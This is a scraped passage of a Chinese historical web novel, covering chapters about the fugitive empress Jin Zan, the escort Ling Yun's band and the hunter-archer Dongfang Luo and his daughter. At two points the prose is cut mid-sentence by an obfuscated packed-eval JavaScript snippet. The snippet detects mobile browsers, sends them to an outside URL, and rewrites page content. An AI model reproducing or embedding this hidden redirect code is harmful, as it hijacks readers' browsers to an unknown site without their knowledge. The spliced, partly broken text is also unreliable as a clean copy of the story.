伊兰天阙跟吃炸药似下令狼军出动老虎爪夜袭、日袭,又令周奴重犯为敢死营,奔赴关下为大军开道。 这时,慕容锤带兵到达寒雪关,解了石鸣春的困局。两人化干戈为玉帛,联手抵挡住伊兰天阙的大军。 伊兰天雪的尸体也被石鸣春抛下城墙,送入雪狼国大营。 汗王泛绿萤的眸光死死地盯在尸首的伤口。他抚摸弟弟冰冷的眉眼,厉声道:“慕容氏该死,戗杀王弟,本汗必让他们血债血偿。” 周奴出生的军师耶律天星,被汗王赐予“天”字,意为天赐之才。 耶律天星向汗王建议:“大汗,慕容锤此举正是要激怒大汗。若大汗调兵长墙北段,攻入北延,就损失进入关内的最佳时机。” “哼。军师说得不错。但是,我们狼是最护同伴,不至死不弃。本汗和慕容涛在春猎时说好,如今他反悔不攻石鸣春,本汗要他付出背弃狼族的代价。 传令下去,遣狼骑详攻北延府,只杀不抢,逼慕容涛尽快返回北延,遣调慕容锤离开寒雪关。”伊兰天阙厉声道。 耶律天星没明白汗王的用意,闭口不再言。 他出营帐后走几步才想明白:汗王是要慕容氏自相残杀。汗王洞悉慕容锤的用意啊。 ** 利城客栈外的民居墙下,陆鱼儿摸把鼻子转身而去。 “果然如头儿所料,孙裴投靠轩辕日照。啧……奸人。” 入夜后,金簪看向匆匆而来的孙裴,听他说起客栈无人,心下微松。 她不动声色地扬眸笑道:“那些本就是江湖人,来去自如,我也管不得他们。或许,他们见我入你的府邸,猜我有所依仗就……已离开吧。” 孙裴对此半信半疑。 若能拿下女帝身后的人,剪去女帝再丰的羽翼。将她骗给轩辕日照,不比轩辕金香这幼女好用? 届时,荣华富贵皆向我而来,不必再活得谨小慎微。 金簪洞悉他的神色,喝口茶道:“孙大人,夜深了。明日孙大人要送贵女上道府,定是长途跋涉。此后,我营救楚将军的事还要拜托孙大人。” 她起身向孙裴掬礼。 孙裴唬一跳,赶紧侧身避开,言说两句后告辞而去。 金簪在灯火明烛下轻叹口气,察觉窗棱咯吱,侧眸看去。 凌云一入厢房,与她四目相对,察觉她的神色微松,心里那股绷着的劲儿也松了。 他走近几步,金簪也快步向他走去,彼此的心跳快几许。相距一臂时,两人纷纷停下,似乎在观察对方是否安然。 金簪眨下眼,问道:“孙裴说他的人在客栈扑空,你早知道他会去找你?” 凌云注视她泰然自若的神色,这个女人恐怕死到临头都很镇定吧。 他颔首道:“你……走吗?” 金簪迎着他清澈的瞳眸,呵笑一声:“作为一个男人,你……喜欢我吗?” “……”凌云闹不明白女人的心里究竟在想什么,因这问话,呼吸不免急促了下。 金簪拉进两人间一臂的距离,昂首能亲到他的下颚。 四目盈盈,明明克己却好似蒸腾出许多水汽。 她将下颚缓缓地靠近他,而他这人已经呆愣。 若要收服此人,常规的方法不好用,得循循善诱,行“驯养”之法。 驯养,乃是一种滴水穿石、温水煮青蛙的方法。 凌少保说过:百姓如家人,换一朝代换一家主。单个百姓不会对帝王有多少威胁,但是,若不能将百姓驯养,就会成为帝国最大的威胁。 彼时,金簪问:“凌少保,如何驯养,怎么证明百姓已被驯养?” 凌少保将他在绿风城的为官经历道来:“以点滴恩惠,融入百姓的寻常生活,令百姓有见官如见家人的感觉。这就是驯养。 殿下,世间女子往往都要嫁人。 她们从一处熟悉的生身父母家庭,嫁去一方新的公婆夫家,女子会生出陌生、惶恐等诸多感情,有些新妇甚至抗拒前往夫家。 但是,公婆若待新妇如亲子。时日渐久,新妇在外受屈,第一个想得不是生养的父母,而是公婆夫君。这就是驯养。 新妇离家祈福,半途心生‘无处可去’的感慨。然而,在大路口,新妇最终归得不是生身父母家,而是公婆夫家,也是被驯养的证明。 简单说,新妇在外买东西,首先想得是公婆夫家,那就是被驯养完成。 驯养的第一步,将你要驯养的对象当作亲人。” 金簪的唇堪堪要贴上凌云的下颚,察觉人往后退一步。她顺势站直,扬眸笑道:“你怕?” 凌云的耳朵烫得像烙铁,垂眸道:“若再不走就来不及了。你与孙裴同行,他必然会将你送入日照君的府邸。” “我若是同你离开,打草惊蛇,更没有机会救楚甲子。”金簪转身,侧眸请求,“你……愿意帮我吗?” “若你被日照君抓住,又凭什么救楚将军?你的高贵不凡还是美人心计?”凌云看穿她的目的,直白道。 金簪正脸望向他,这人眼中没有鄙夷、轻视、有得是就事论事。 她想起凌少保说得驯养第二招:熬鹰。 凌少保道:“北延人擅长熬鹰。熬鹰之法在于谁坚持得更久。” 金簪自诩手上棋子就这么多,而这人天生反骨,更油盐不进。 若要熬鹰,得同他一起离开。 “我同你离开,你答应……哎……” 凌云听得前半句就一把拉过金簪的手,将人往窗边带去。 他抱起金簪,跃出窗外。两人刚上院墙,另一边有下人在寻孙裴。 “大人,不好了。夫人……夫人被劫持了。” “大人,不好了,房里那个姑娘不见了。” 孙裴面色大变,左右徘徊了下,急色喊道:“先救夫人,快召集人手。” 黑暗里,凌云与金簪的目光相触即离。他带金簪往府衙兵聚集的反方向而去。 金簪被他带上郡守府的望台,两人沿固住的轮滑索道直跃上城墙。 待金簪站在利城之外,都有些回不过神。不及她反应,已被凌云推给陆鱼儿,又被陆鱼儿送上马车。 她掀帘子找张停云,那人和何秋刀又向城墙上掠去。两人像是月下的蜘蛛,行动灵敏迅捷。 “驾……”陆鱼儿打马驾车上路。 一旁的江城子将车帘掀起一角:“陛下坐稳啊。利城司马的兵很快会追出来。” 金簪一句话都没说,就顺惯性往后砸在马车靠背。 她轻叹口气,扶额自嘲:这些人远比我想得要厉害得多。而且,张停云利用郡守府的地势和布局,架绳而出,外有接应,当真是好本事。 天光大亮后,马车停在一处大江边。金簪手脚发软地爬出马车,见陆鱼儿和江城子在江边饮水洗漱,也走过去洗把脸。 陆鱼儿朝江城子道:“说起来,她虽是女帝,但是吃苦这方面真是比一般男子都强。” 江城子睨他道:“今时今日,她不吃苦,还想享受女帝待遇?你伺候她?” “嘿嘿,别。这不是有头儿么。”陆鱼儿嘎嘎笑道,“就是不知道头儿要带她到什么时候,若是头儿将人带回学海,嘿嘿……玲珑不得醋死。她可是最粘头儿。” 江城子撩一把水在陆鱼儿的脸上,唾道:“他们是兄妹,你瞎说什么。” “谁不知道是堂兄妹。头儿可是张县府的儿子。”陆鱼儿抹把脸,吧唧道。 “呵,你不知道吧。头儿原是张县府胞弟张廷玉的儿子。但是,张县府和夫人一直无所出,又见头儿乖巧机智,将头儿过继膝下。所以,你们一直以为头儿是张县府的儿子,实则是张二老爷的儿子。” 江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059970|162979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 城子还想说:我听玲珑说过,她哥不是亲哥,是被张二老爷收养的孩子。哎,正因为这样,玲珑才粘头儿紧啊。小姑娘的心思,只她自己还不清楚,旁人都是瞧得明明白白。 金簪耳闻两人的聊天内容,将玲珑这个名字记在心上。她在一旁的江石上坐下,鱼儿跃水而出,在江面泛起几个水泡。 她将双掌交叠后鼓出吹口,捧到唇边“呜呜”地吹响。 声音长短有序,乃是行军途中得一种召集号角。 江城子和陆鱼儿转头望去,相视一眼。陆鱼儿好奇道:“那个……陛下……” 金簪放开手掌,含笑道:“此前你喊我夫人,现在……你也这么喊吧。若是添姓,便用……凌字。” “凌……凌夫人?”陆鱼儿蹲在一旁,摸把脑门,“你这吹得是什么?” “行军用的联络号。”金簪的目光一远,望见纵马而来的两人。 陆鱼儿和江城子迎上前:“头儿,秋刀,怎么样?” “孙裴的人马和司马的军队分头往胜城的方向和风华道府的方向追。应该是甩脱了。即使甩不脱,也能拖延两天,给我们离开的时间。”何秋刀回道,“有吃吗?我和头儿一夜跑六十里路,累死。” “有。”江城子去马车上掏。这些吃食早在计划离开时就已备下。只是,这次时间匆忙,干粮等物备得不是很足。 凌云走到金簪的旁边,看向她聚拢的手掌,想起当年祖父激励的话:殿下现在学掌哨,行军时斥候的传信手法。 此后,凌云就被祖父加学鸟哨、旗语、鼓号…… “多谢你的掌哨,省我和秋刀沿洛川江寻你们的时间。” 金簪诧异下,转望身侧滚滚的大江:“这是……洛川江。南北交界的重要河流。” “不错。洛川江。周史千载,千年内八成动乱起始于此,南北两方常在此地割据,也会在此北上分出胜负。” 凌云看向江南的崇山峻岭,长出口气,“那里就是卧秋山系。沿山南去,有卧秋道府,星海道府,南旋道府等,向西的尽头是南蜀天险十万大山,西上向南是胜争道府、荷卿道府,月罗道府、南瞻道府等诸多地方。” 金簪脑海里的大周地志翻涌而上,看向东方:“宁海道府、海辰道府、学海道府,沿川江盘踞一方。” 凌云侧眸注视她,眉若远山黛,眼若秋波横,这些全是她可以操控的武器而已,真正张扬得是双眼背后的神光志向,以及这一身百折不挠的高贵气度。 平凡如我,竟连恨她都很难做到。 祖父,你会看不起这样的云儿吗? 他的脑海里反复回荡街口广场的高台上,梅姨、殷罗姑姑、祖父等人被斩首瞬间……那些人的血至今滚烫刺眼。 金簪看向转身离去的凌云,追上去拉他的衣袖:“你等等,我们谈一下。” 凌云一拽衣袖,将金簪拉地跌向地面。他的眼神注视她的倾斜,脑海、鼻尖仿佛被血色血味充盈,而手下意识就去接住她。 金簪诧异地看向莫名其妙的人,待站直后,这人已经踏步而去。 【凌少保,驯养一个人真是好难啊。】 “凌夫人,过来吃点吧。”陆鱼儿高声喊道。 凌云诧异地抬眉,眉峰皱如山脊:“你喊她什么?” “凌夫人啊。”陆鱼儿耸肩无畏道,“她说喊别得不方便,我也觉得怪不自在。她就说喊:凌夫人。” 金簪走近后接过干饼和热水,朝凌云道:“我们谈谈。” 凌云担心被她察觉身份,取吃食后随她走至一旁。 金簪没有察觉凌云忐忑、变幻的脸色,那胡子盖住他一切神色。 她先一步解释道:“我的姓氏无论取轩还是辕,都不合适。而凌,为纪念已故凌少保。他教我……” 凌云的五指几近将馕饼捏成渣,垂目落在她光洁的下颚。这个人怎么可以毫无愧疚得将祖父一次又一次地提出来。她不知道祖父是因谁而死吗? “够了。”凌云死死地盯在金簪平静的眼神,仿佛被她的冷静浇得透心凉。他也随之冷静下来,撇开脸,“你想自称什么都随你。接下来,我要前往南蜀道府。” 金簪咯噔了下,敛眉道:“你答应帮我救出楚甲子。” “呵……”凌云低首吃起捏碎的饼子,一丝不苟地细细吃着。偶尔瞥见目不转睛的金簪,喝了口水道,“我与沈太傅的约定在离开西塞城时就已经达成。” “那你为何来郡守府救我?”金簪咬牙道。 生气了?凌云扯起唇角,奈何胡子有点多,毫无笑感。他指向兄弟们道:“我们辛辛苦苦把你从秋山救下,从西塞城带出来,你就这么容易将自己送给轩辕日照,岂不是显得我们很不男人。” “什么……意思?”金簪试图镇定道。 “若是你要将自己送给别的男人,那么,我们这些人为什么不行?”凌云低低地笑了两声,朝竖起耳朵的三人喊道,“你们说,是不是?” 何秋刀呸了声,高声道:“是啊。我也想试试女帝的滋味。” 陆鱼儿直接踢了何秋刀一脚,嫌弃道:“说话不过脑啊。你是正经官聘衙役!” 江城子点头道:“确实。无聊。” 何秋刀:“……不是配合一下头儿么。” 金簪听着这些人的话,面对络腮胡双眸里的直白,转身往山林走去。 “我勒个娘啊,她走了。头儿……”陆鱼儿看向坐下吃饼的凌云,不解道,“谈什么崩成这样啊。头儿,人走了。” 凌云吞下干饼,深吸口气:“随她去,方向也没错。” 其余几人:“……” 有时候男人心也是海底针,怪不好猜。 何秋刀也不知道,因为这一句无心接口,为他日后埋下鸟尽弓藏的大祸。 44. 东方 山中古径,通竹林幽处。 金簪立在竹篱外,望向布衣荆钗的姑娘,咽口吐沫喊:“你好。那个……” 小姑娘闻言转身,举起喂猪的木勺防备地看去。 她的另一手把猪食桶往后挪,巴巴道:“我……我家……没吃了。” 金簪呃下,示意手里的竹筒:“可以帮我舀点热水吗?” 小姑娘觑了又觑,将猪食全倒进石槽。她拍下手后打开篱笆门,轻声道:“你……进来吧。” “谢谢。”金簪走一天山路,夜将黄昏,才到达这小山顶。 本以为要露宿,没想到柳暗花明来户山里人家。她喝过小姑娘温在炉子上的水,环顾四周。真是个好地方。有竹有水,有草有猪。 “那些是什么?” 小姑娘望向她指的方向,翻白眼道:“地瓜苗、青梗、卷菜……你……不认识啊?” “呃……呵呵……”金簪挠下鬓角,面对这张稚脸,一时想不出借口。 小姑娘生出兴趣,从厨房端来两个馒头递给金簪,嘻嘻道:“前些年打仗,山下不太平,有流民找上山,抢了我家的食物。 爹爹进山前有交待,不要随便放人进家,而且我扮弱点好放松别人的警惕。” “……”金簪眨眼,取过馒头快口吃。“咳咳……” “喝水喝水……”小姑娘赶紧给她递水,边道,“你看起来脏兮兮,却是位娘子吧?声音也不粗。你怎么一个人上山,打算去哪儿?” 金簪哑口,囫囵个馒头。走路姿态可以改变、声音变不了,还是做回女子吧。 她缓过劲儿,拉唇角道:“胜城。” “哦……啊,胜城啊?”小姑娘远眺山头,指向最高得那座山,“翻过落秋山,再行三十里地才是胜城。山高路陡,极其难走。我小时去过一次,阿爹背我去呢。” 小姑娘前后两次提起她的父亲,孺慕之情溢于言表。 金簪莞尔道:“你有位好爹爹。” “嗯。姐姐有吗?”小姑娘闲话家常,“我得去做晚食,一会阿爹该回来了。你把他的馒头吃了,我还得去备晚上的窝窝呢。” 金簪捏着半个馒头,尴尬地不好意思再吃。 她独坐院中,自嘲道:“我没有这么好的爹。”小姑娘不过八九岁的模样,忙进忙出。 金簪高声道:“我可以在你家留宿……” “姑娘是谁?” 一个粗粗的男声在金簪背后响起,唬得她跳起、回头。 男人看出金簪的窘迫,沉着脸笑了声,怪吓人。 “你别怕,我是这山上的猎户。川丫子,做好饭吗?” “快啦,阿爹。这位姐姐说晚上要留宿,你做个主吧。”川丫子从厨房探出头,嘿嘿笑道,“阿爹,姐姐是好人。” 男人非常直白道:“人是好是坏不写在脸上。你这孩子,忘记爹怎么嘱咐你。”他无视金簪的存在,将手里的猎货放在厨房口,取刀剥皮。 偶尔扫眼金簪,这姑娘人高马大,瞧着身子骨不弱,只是手足无措的模样还挺“善良”。 “留吧。同川丫子一个屋。” “谢谢。”金簪松口气,刚坐下又觉得不对劲。男人对活着的野物下刀利索,放血后拖至竹竿流水边,洗漱切块。她不免吞口水,此人若真有歹心,也得学他女儿先示弱。 川丫子将炒好的菜端进正堂。 金簪瞧着,一院三人几物,猪和鸡都不闲,就她最闲。 川丫子见亲爹清理野物,问道:“阿爹,今晚做狸子吗?” “嗯。既然是有礼貌的客人,就好好招呼。而且,丫头好久没吃肉吧,今晚炖了这狸子。”男人将切块的狸子肉放入木盆,递给川丫子。 他转身去削制皮料,边忙边同川丫子说起山中见闻。 金簪这才知道那怪模怪样的野物是山里的香狸,也顺带听一耳朵山中趣闻。 她对这对父女的相处方式生出羡慕。金簪主动拿把猪圈边的干草扔进猪槽,见男人的目光射来,尴尬道:“我……” “听川丫子说姑娘要去胜城?”男人继续忙活手上的皮子。 “嗯。这位壮汉怎么称呼?”金簪这一问又得男人审视的目光。 “山里人,没什么称呼。你喊我骆猎户就行。”骆猎户说完,又问,“姑娘一个人翻不过落秋山。” “我想聘你带路,可行?”金簪走近几步道。 “阿爹,姐姐,吃饭了。”川丫子将煮好的狸子肉端进正堂。 骆猎户在流水边洗过手,结板似的脸上扯抹笑:“姑娘一起吃饭吧。你的事,桌上说。” 金簪洗手上桌,瞧向一盘白白的肉和一盘菜,再有一碗粥和一个馒头……这就是寻常人家得一餐。 骆猎户说过:川丫子好几日没吃肉。若是没有这盘肉,就剩下一盘素菜、粥和馒头。 她低首吃着,味道没法和曾经的精致比,但是,稀粥入肚,胃里却是比吃张停云的烤肉还暖。 “谢谢,川丫子。你真是太能干了。” “嘻嘻,姐姐吃肉。我爹爹虽是猎户,平日也不见肉吃。一旦有猎物,阿爹都卖进城,换来米面和衣饰。”川丫子说着,给父亲夹一块大肉。 金簪夹起肉,闻到腥味差点哕出来。 水煮野兽肉,比烤、石板煎都要腥。 但是,她面不改色地嚼碎咽下,将粥和馒头合着菜都吃光。 饭后,骆猎户瞧金簪道:“我看得出来,你吃不惯咱们山里人的食物。你想要去胜城,问题不大,不过得付我五两银子的向导费。” 金簪不觉得这有什么问题。问题是她兜里无子。 “可以。待我在胜城门口,就付你银子。” “你这小娘子,身量颇高,看着不弱。行,这一路上的吃食、翻山所需,我来负责。”骆猎户干脆道。 “阿爹,我也去。”川丫子急巴巴道,“以前我要你背去,现在我长大了可以自己走。” “你走了,家里的猪和鸡咋办?送穿山甲啊。”骆猎户敲在川丫子的脑袋,“带这位姑娘去休息。明日早起蒸一锅白面馒头,我们带路上吃。” “哎,好吧。”川丫子没闹,乖觉地领金簪洗漱后上床休息。 小姑娘是半夜才上床,说是要活面待用。她入睡得很快,一会就打起小呼噜。 金簪在黑暗里辗转反侧,取出怀中翠金相缠的甲套。 将你留给骆猎户家吧。沈太傅说,一饭千金,此恩当值此价。 翌日,天没亮,川丫子已经在蒸馒头。 她还干烘了狸子肉,一并塞入干竹筒。 金簪接过骆猎户递来的登山杆和一把木质柳皮弓,背在身上。 骆猎户准备妥当后朝川丫子道:“这次出门得五天左右,看好家。记住阿爹说过的话。” “知道啦,你舍不得就带我一起去嘛。”川丫子明显知道她爹不会,一关篱笆门跑去喂猪。 金簪随骆猎户上山,问道:“留她一个人在家,真得好吗?” “山里人没那么多讲究,以前山里人多时,孩子被狼叼走都是寻常事。前几年大旱,山里能吃的活物被霍霍不少。近两年,山里才恢复点生气。” 骆猎户说完,带金簪往他开出的道下山。 金簪知道他说得是金平三年的大旱,往后两年她睡多醒少,在黑暗里听过南叶和杜鹃念起朝中要事。 金平四年、五年,天师道聚众打入东都,正是楚甲子带兵抗住这波起义。 依着沈太傅的意见,楚甲子斩杀两都官商勾连的粮商和官吏,急调中原数府米粮,让几府百姓渡过灾年。 金平七年,天师道被打退回洛川江南,楚甲子随后失踪。这么算来,人已经消失三年多。若楚甲子真在胜城,不知是何状况。 另一边,陆鱼儿在篱笆外喊道:“我说川丫头……片子,拿鱼同你换鸡,行不行?” “不行。你怎么知道我叫川丫子?我没见过你,你却知道我的名字,你一定是坏人。我家里啥都没有,你快走,不然我可拉绳子了。”川丫子捏在绳口,一排竹筒斜挂向院口。她朝陆鱼儿等人瞪眼示威。 江城子莞尔道:“别小看这山里猎户家,你看她绳子连接的一排竹筒,若是再拉几下,恐怕射出得全是竹箭。” 何秋刀瞥眼道:“她对凌夫人这么好,怎么见我们像是有大仇。” 凌云环顾这简单的院子后走回篱笆口,向几人颔首道:“附近的机关都拆了,大都是射程不一的弓弩器。 你们把她带上,我们一起进山。” “哎……为什么呀?”陆鱼儿不解道。 江城子一拍他的肩膀,将人拉开,由何秋刀杀进小院。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15059971|162979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 竹筒成排倾斜,竹箭连弩击射而来。 “好家伙。这不被射成筛子。”陆鱼儿吧唧道。何秋刀躲过竹箭,快速入院,落地就是地筒直射,翻身越过。川丫子躲进厨房,再拉绳子,这次侧面的竹筒倾斜,却无箭激射。 何秋刀趁此机会一把擒住小姑娘,提留出院。 江城子笑道:“若是猎户,设置不出这样周全的机关陷阱,恐怕这凌夫人又要被人卖。” “我去。她真值钱,见个人都要卖她。这山里人有这么好见识?”陆鱼儿傻眼。 “有些人的气质藏在骨子,不遮掩啊,盖不住。你觉得她是那个懂遮掩的人吗?”江城子怼道。 陆鱼儿回想与金簪相处的几日:“挺遮掩了呀。吃喝方面,不闹脾气,有啥吃啥;穿布衣、涂门灰……挺接地气。” “呵呵……”江城子冷笑道,“你只看到这些。她除对头儿肯多一句解释,与你我几人一直保持距离,而且……哼,只要救出那楚甲子将军,她定原形毕露,高高在上。”江城子一针见血。 “放开我……呜呜……放开我。我爹不会放过你。你们这群坏人……混蛋……强盗……” 川丫子被何秋刀提到凌云的脚边。 凌云示意陆鱼儿用鱼皮绳绑了。鱼皮丝做绳,只要不用力不会勒出伤痕,类似牛皮绳。 陆鱼儿也不是多狠心的人,将绳子舀水浸泡了下再将川丫子绑了,又提醒她别乱挣扎。 何秋刀喊道:“江城子,做些热乎的吃食。” “好。鱼儿,将她的嘴巴粘上,真能骂人啊。”江城子寻摸去灶台,却发现陶缸无米无面。巧妇难为无米之炊。 “头儿,太干净了,没啥好做。” 凌云示意陆鱼儿去检查房间,转身蹲在川丫子跟前,问道:“你爹以前是做什么?” “呜呜呜……”川丫子嘴上的粘鱼皮被揭开,直接呸凌云一口。 凌云抹把胡子上的口水,笑道:“你今年八岁吧。这么算起来,金平二年生。” 川丫子撇脸,不理他。 “头儿,找出这个。我去,好厉害的弓。”陆鱼儿翻出一套乌铁长弓,以及数只炽翎箭。 “不准碰我爹的东西。我爹不会放过你们。他是神射手。啊啊……放开我……”川丫子怒喊道。 凌云目露惊讶,虽知这家猎户不简单,但是没想到大有来头。他接过长弓,入手微沉,属于中型弓弩。他试拉弓弦,莞尔道:“松紧有度,常被保养。” 他提着弓蹲在川丫子面前,朝赤目的小姑娘道,“金平元年,慕容涛初次领兵南下,直攻东都。 风瑶骑兵风子棋带兵联合月辉君攻入东都救驾。慕容涛退后,风子棋所带人马被月辉君全灭。 那时,风子鸾怕风子棋吃亏,将手下大将东方骆给风子棋。 战后,楚甲子点将,独缺东方骆下落不明。以当时的战地情况分析,东方骆应该消失在这一带。” 何秋刀哦吼了声:“头儿,你怎么就知道是他?” 凌云看向目光躲闪的小姑娘,目光落在她见弓后下意识张握的手掌:“掌心横茧,食指和拇指中部有横,练长弓留下的痕迹。你爹常教你练弓。 此屋背山临水,机关布置巧妙,绝非一般猎户能做到。 论这世上除风瑶营骑弩队的季氏,还有谁擅弩,南季北东方,非东方莫属。你……叫东方川。” 川丫头被道破真名,哇呜一声大哭。她不过八岁,听过爹爹讲古,但也没想什么东方、北方,只知道自己叫东方川。寻常时候,阿爹都喊她川丫头。 何秋刀赶紧给小丫头的嘴粘上鱼片,差点就被敏捷的川丫头叼住手指。 江城子当自己家一样在杀鸡炙肉。 他朝凌云道:“头儿,若是往这边回来,我们还在这落脚。” “东方骆肯带……凌夫人前往胜城,目的绝不单纯。”凌云吩咐几人加快速度。 午间时,四人背着个绑严实的小姑娘从西面下山。 陆鱼儿给川丫头解释,大家不是坏人,绝不会杀她。 川丫头假意相信,待陆鱼儿给她揭开粘鱼皮,一口叼住陆鱼儿的手指,几要咬断。 陆鱼儿痛地落下眼泪,被江城子等人好一番取笑。 江城子吹点迷药在川丫头的脸面,才救下陆鱼儿的手指。 45. 试探 山中黄虎龇牙扑来,骆猎户不慌不忙一箭,直射虎颈。 金簪瞧得目瞪口呆,愕然道:“你的射术这么好,一箭猎虎,还射中弱点。” 骆猎户在残喘的老虎颈项拔出弓箭,将长匕送入箭伤口,彻底了结老虎的性命。 他头也不回道:“你等我一会。肉可以不要,但皮子是好东西,能换不少银子。他扭刀从箭口处下切,不损虎皮背部纹路,不稍一会就完整地剥离虎皮。 金簪立在树后,蹙眉见他动作,心下有些不舒服,像是金宫后廷摆放得那缸黑水,缸里是想死而不能的人彘月舒。 她撇开脸,紧抓轩辕枪,后知后觉地旋短轩辕枪,重新绑在腿上。 骆猎户的眼神重几分。 暗金色轩辕枪,轩辕祖帝攻克天下的利器,凡世家出生的武者,对此枪皆有耳闻。家中若有藏书,对此还有记载。 轩辕枪身雕云纹龙凤,寓意轩辕氏无论男女皆可上战场御敌。枪尖不同于普通长/枪的棱锥体,有独特的雕纹和刺槽,既可破铠又利于取收,对敌人行放血之举。同时,轩辕枪独特的长短变化,乃是马上作战取长补短、利短求胜的不二战器。 “待我削制一下,不然,血腥会引来别的猎食者。” 骆猎户将虎头连眼珠皮一起剥下,在眼眶破口处涂抹石灰。他将整张虎皮去筋膜,再洒生石灰,折叠整齐后放入背篓。 处理完后,面对一身珍稀的虎肉,他叹口气:“走吧。”语气里对此颇有些不舍。 金簪咽口吐沫,继续上山。 骆猎户说要抄近路,得攀过落秋山的老虎沟,能省去半日路程,再上陂转入下山道。 若赶在孙裴带贵女前入胜城,说不定能混入城,而不被通缉。 “你的射术这么好,为什么不参军?”金簪问道。 “参军,为谁打?”骆猎户反口问,目光讥诮,似有化不开的阴郁。 金簪咯噔下,下意识吐口而出:“你是逃兵。” 骆猎户顿住脚,树荫盖住他的高大,背对金簪的身体缓缓地耸动起来。 “呵呵呵呵呵……逃兵……” 东方家有逃兵。是啊,从北海慕容涛的追杀下逃往京都,想要告举慕容涛谋反却投告无门,走投无路中被风子鸾收在帐下。 本以为东都一战可以为东方家报仇,风子棋这厮竟听信紫琴君所言,追杀月辉君,继而糟来横祸。 无兵无权,拿什么向慕容涛复仇?东方骆再次做逃兵。 倒不如名不经传的小将楚甲子……可惜,慕容涛还是逃返北延。 “走吧,姑娘。知道我是逃兵,对你有什么好处?我将你在这山里杀死,谋夺你的钱财,你又能如何?” 骆猎户扛着背篓,向山上走去。 他一手柴刀劈路,一手巴拉出一条道,对之前的失态就此揭过。 金簪提步追上,想要分说几句,又无从下手。 一味莽劝解释,只会适得其反,弄巧成拙。 她的眸光深几许。此人心中有结,若能替他解开,必为帐下大将。 三日后,金簪望见胜城的城墙。 骆猎户遥望旌旗猎猎的高墙,面无表情道:“姑娘,我们的交易算达成吧?” “是。”金簪将怀里的翠金甲套递去,“你将此物上的翠玉扣下来后分开出手,将金子熔后再去换用。” “呵。”骆猎户翻看金翠甲套,拉起唇角:“这玩意精致,没少给你带麻烦吧。” 若是从小到大算起,确实挺不待见它。但是,它是母后遗物,说重要也重要,又不是那么重要。 何况,孙裴见过此物。若再将它留身上,一朝被外人得见,会带来麻烦。 “你按我说得拆解后熔炼,抵五两银子错错有余,多得是感谢川丫头那顿饭。”金簪提起川丫头,正是摸在骆猎户的弱点,以其弱点令其放下攻击性。 骆猎户板正的脸上流露一丝温柔。 他点头,将甲套塞进怀,好奇道:“你的身份必定不简单,去城里做什么?” 金簪的目里流过讶异,随即恍然。 “你不趁机提其它要求?” “呵,今时今日,轩辕氏有什么能力可以帮我实现?”骆猎户说完,顶下肩头的背篓,“去吧。祝你好运。我不去胜城,隔壁县城的买卖更实在。” “等等。”金簪喊道,上前几步,“你若帮我救出一个人,无论钱银、还是情仇,我皆有办法帮你达成。” 骆猎户回首,冷静又阴沉地钉在金簪的脸面。若是十五年前,对心怀仇恨的东方骆而言,真是诱人的邀请。 良久后,他大笑出声:“我不拿你向胜城君主换取钱财,已是看在川丫头喜欢你的份上。” 是的,今时今日,有了女儿,就不能随便拿命去拼。这条命不仅是自己,还是女儿的。 “你之所以不拿我换,因为你知道他们满足不了你的条件。但是,你若帮我,我可以……” “爹……”东方川远远地喊着,想要飞奔向骆猎户,被陆鱼儿一扯绳子给制住。 “你快放开我。我爹百步穿杨,将你射成个窟窿。”东方川龇牙怒骂。 “川丫头。”骆猎户疾跑几步,又猛然回头,对金簪道,“他们随你而来,你和他们是一伙,还是追杀你的人?” 金簪看向越来越近的几人,垂眸不语。 有时候,她也分不清这个叫张停云的脑子到底在想什么。 “若是追杀你,你快进城。城里尚无人知道你的身份。记住,不要随便拿出轩辕枪。”东方骆说完,扔下背篓,取出弓箭上弦。 金簪看向停住得几人,喊道:“你等等,他们……算是我的朋友,不会对川丫头怎么样。” 东方骆一听,转手旋匕,将刀架在金簪的脖子。他冷声道:“既然是你朋友,那我拿你换我女儿。” 走至今朝,他已经不信任何人,想要守护得唯有一女。 凌云示意陆鱼儿将人放掉。因为他远远地瞧见东方骆一开始没有要以金簪换人的意思。 东方川快跑向爹爹,一把抱住父亲,大哭道:“爹,他们欺负我,还将家里的鸡杀了。我出来三天,家里的猪肯定饿瘦了。呜呜呜……他们还拿了你的乌金弓和炽翎箭。” 东方骆放开金簪,一把抱起东方川,避开凌云几人。 他察看女儿一番,在手腕上发现微红的痕迹,问题不算大。 “除此外,他们还怎么欺负你?” “呜呜,用腥臭的黑乎乎东西粘我嘴,不准我说话。”东方川揽住父亲的脖子哭喊。 “除这些,还有吗?”东方骆放下女儿,将匕首捏在掌心,蓄势以待。 “我一骂人就不给我肉吃……”东方川委屈巴巴道,“那人的烤肉比炖煮好吃,不给我多吃,说我在他背上不用走路,胃里不克化。克化是什么……” 东方骆顿时哭笑不得,抚摸女儿的软发,板正的脸上露出笑意。 凌云挡在金簪的身前,拱手道:“东方前辈,我等无意为难东方姑娘。只是,希望她能带个路。” 东方骆的脸色立时难看,讥讽道:“呵,带路?怕我对她不利才抓我女儿做人质吧。”他的利眸射向金簪,终是表错情、帮错人,“我本觉得那点金子贵重,想将虎皮赠予你。既然我女儿没什么事,一债抵一物,就此别过。” “等等……东方家的血海深仇不报吗?”凌云沉声道。 金簪的眉梢一动,有种要被截胡的感觉。她垂眸看向江城子等人,似乎这些人都不意外此人的身份。 